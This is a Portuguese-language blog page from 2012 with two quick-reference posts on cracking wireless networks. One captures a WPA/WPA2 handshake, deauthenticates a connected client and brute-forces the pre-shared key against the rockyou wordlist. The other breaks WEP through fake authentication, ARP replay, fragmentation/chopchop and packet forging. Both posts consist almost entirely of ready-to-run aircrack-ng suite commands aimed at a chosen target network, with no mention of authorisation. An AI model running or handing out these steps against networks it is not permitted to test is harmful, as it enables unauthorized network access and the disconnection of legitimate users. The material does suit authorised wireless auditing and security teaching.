Dead Packets

11/11/2012

Wireless Fun – Crackeando WPA/WPA2

Filed under: segurança,wireless — drak @ 3:36 PM

Mais um post da série Wireless Fun! Agora vamos ver como executar um simples ataque de brute-force em uma rede WPA ou WPA2 que usa autenticação por pre-shared key.

O objetivo desse post é ser um guia rápido, caso você não entenda o que está fazendo sugiro que leia as referências.

Esse post foi testado com o seguinte sistema:

Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali15 i686 GNU/Linux

Variáveis utilizadas

Interface = <INTERFACE>
Rede = <REDE_ALVO>
BSSID = <00:AA:BB:CC:DD:FF>
CLIENT_MAC = <11:22:33:44:55:66>
Arquivo de captura = <FILENAME_CAPTURA>

Inicie a interface em modo monitor

airomon-ng start <INTERFACE>

Inicie o airodump-ng para verificar o que tem por perto

airodump-ng mon0

Escolha a rede alvo e faça os filtros adequados pelo SSID e canal no airodump

airodump-ng --bssid <00:AA:BB:CC:DD:FF> --channel 1 --write <FILENAME_CAPTURA> mon0

Espere até ver uma mensagem parecida com “WPA handshake: 00:AA:BB:CC:DD:FF” na primeira linha do airodump-ng, caso ela não apareça e existirem clientes conectados você pode forçar um cliente a se reautenticar (lembre-se que isso fará com que ele seja desconectado, geralmente ele tentará se conectar novamente sozinho e nesse momento você conseguirá capturar o 4-way handshake):

aireplay-ng --deauth 1 -a <00:AA:BB:CC:DD:FF> -c <11:22:33:44:55:66> mon0

Depois disso você deve ver a mensagem “WPA handshake: 00:AA:BB:CC:DD:FF”.

Depois de ter capturado o 4-way handshake podemos começar o brute-force offline da PSK, para isso você precisa de uma wordlist, vamos usar uma wordlist padrão que já existe no kali, porém filtrando somente as senhas que nos interessam:

cd /usr/share/wordlists/
gunzip rockyou.txt.gz
grep -E '^.{8,63}$' < rockyou.txt >> rockyou_wpa_passwd.txt
aircrack-ng -w rockyou_wpa_passwd.txt -b <00:AA:BB:CC:DD:FF> <FILENAME_CAPTURA>.cap

Espere e comemore 🙂 (ou não…)

O ponto mais crítico nesse método é possuir uma boa wordlist, existem várias disponíveis publicamente. É importante lembrar também que a PSK deve ter entre 8 e 63 caracteres, para filtrar sua wordlist por esse critério, seguem dois comandos possíveis (um já utilizado acima):

awk '{ if ((length($0) > 7) && (length($0) < 64)){ print $0 }}' inputfile
grep -E '^.{8,63}$' < inputfile >> outputfile

Referências
Tutorial: How to Crack WPA/WPA2
Tutorial: WPA Packet Capture Explained
aircrack-ng: How to crack WEP with no clients
aircrack-ng, seção “other tips”

Anúncios

09/10/2012

Wireless Fun – Crackeando WEP

Filed under: segurança,wireless — drak @ 10:58 PM

Todo mundo sabe, todo mundo já fez mas como nunca achei um guia de referência rápido, segue abaixo o que fazer para conseguir crackear uma rede Wi-Fi que está utilizando criptografia WEP (e se a sua ainda estiver assim, troque agora!)

O objetivo desse post é ser um guia rápido, caso você não entenda o que está fazendo sugiro que leia as referências.

Variáveis utilizadas

Interface = <INTERFACE>
Rede = <REDE_ALVO>
BSSID = <00:AA:BB:CC:DD:FF>
MAC SUA PLACA DE REDE = <11:22:33:44:55:66>
Arquivo de captura = <FILENAME_CAPTURA>

Crackear WEP – Etapas comuns

Inicie a interface em modo monitor

airomon-ng start <INTERFACE>

Inicie o airodump-ng para verificar o que tem por perto

airodump-ng mon0

Escolha a rede alvo e faça os filtros adequados pela criptografia, SSID e canal no airodump

airodump-ng --encrypt WEP --bssid <00:AA:BB:CC:DD:FF> --channel 1 --write <FILENAME_CAPTURA> mon0

Crackear WEP – Com clientes ativos na rede

Teste que você consegue injetar pacotes e use o aireplay para gerar tráfego

<!-- Teste de injeção -->
aireplay-ng --test mon0
<!-- Associação com o AP -->
aireplay-ng --fakeauth 0 -a <00:AA:BB:CC:DD:FF> -e <REDE_ALVO> mon0
<!-- Associação usando um MAC diferente da sua placa de rede wireless -->
aireplay-ng --fakeauth 0 -h <11:22:33:44:55:66> -a <00:AA:BB:CC:DD:FF> -e  mon0
<!-- Geração do tráfego, deve estar associado -->
aireplay-ng --arpreplay -b <00:AA:BB:CC:DD:FF> mon0

Inicie o aircrack-ng para a análise dos pacotes capturados

aircrack-ng -e <REDE_ALVO> -b <00:AA:BB:CC:DD:FF> <FILENAME_CAPTURA>.cap

Crackear WEP – Sem clientes

<!-- Associar -->
aireplay-ng --fakeauth 0 -a <00:AA:BB:CC:DD:FF> -e <REDE_ALVO> mon0

Obter o PRGA usando fragmentação ou chopchop

aireplay-ng --fragment -b <00:AA:BB:CC:DD:FF> mon0
aireplay-ng --chopchop -b <00:AA:BB:CC:DD:FF> mon0

Gere um ARP request com o PRGA obtido anteriormente

packetforge-ng --arp -a <00:AA:BB:CC:DD:FF> -k 255.255.255.255 -l 255.255.255.255 -y fragment-dddd-nnnnnn.xor -h <11:22:33:44:55:66> -w fake_arp_request.cap

Com o pacote gerado, faça o replay dele

aireplay-ng --interactive -r fake_arp_request.cap mon0

Ou, ao invés disso tudo acima, simplesmente:

aireplay-ng --interactive -p 0841 -c FF:FF:FF:FF:FF:FF -b <00:AA:BB:CC:DD:FF> mon0

Inicie o aircrack-ng para a análise dos pacotes capturados

aircrack-ng -e <REDE_ALVO> -b <00:AA:BB:CC:DD:FF> <FILENAME_CAPTURA>.cap

Update 11/11: Corrigi a sintaxe de alguns comandos

Referências
aircrack-ng: How to crack WEP with no clients

Blog no WordPress.com.